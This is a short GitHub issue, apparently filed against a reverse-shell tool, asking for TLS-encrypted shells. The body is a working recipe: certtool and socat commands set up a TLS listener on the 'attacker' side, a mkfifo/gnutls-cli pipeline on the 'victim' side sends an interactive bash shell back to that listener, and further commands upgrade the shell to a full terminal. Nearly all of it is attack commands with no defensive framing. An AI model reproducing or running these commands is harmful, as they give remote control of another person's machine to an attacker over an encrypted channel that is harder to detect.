Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature request - SSL/TLS using gnutls-cli on victim #5

Open
xambroz opened this issue Jan 5, 2018 · 0 comments
Open

Feature request - SSL/TLS using gnutls-cli on victim #5

xambroz opened this issue Jan 5, 2018 · 0 comments

Comments

@xambroz
Copy link

xambroz commented Jan 5, 2018

Attacker:

certtool --generate-privkey --outfile gtlsserver.pem
certtool --generate-self-signed --load-privkey gtlsserver.pem  --outfile gtlsserver-cert.pem
socat `tty`,raw,echo=0 openssl-listen:8080,reuseaddr,cert=server.pem,verify=0

Victim (ignore first 32 lines):

rm -f /tmp/p ; mkfifo /tmp/p ;
gnutls-cli --debug=0 --insecure localhost:8080 0< /tmp/p | \
( head -n 32  > /dev/null ; bash -i ) 1>/tmp/p 2>&1

Some fixing of terminal is desired within the shell session:

python -c 'import pty; pty.spawn("/bin/bash")'
eval `resize`
reset

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant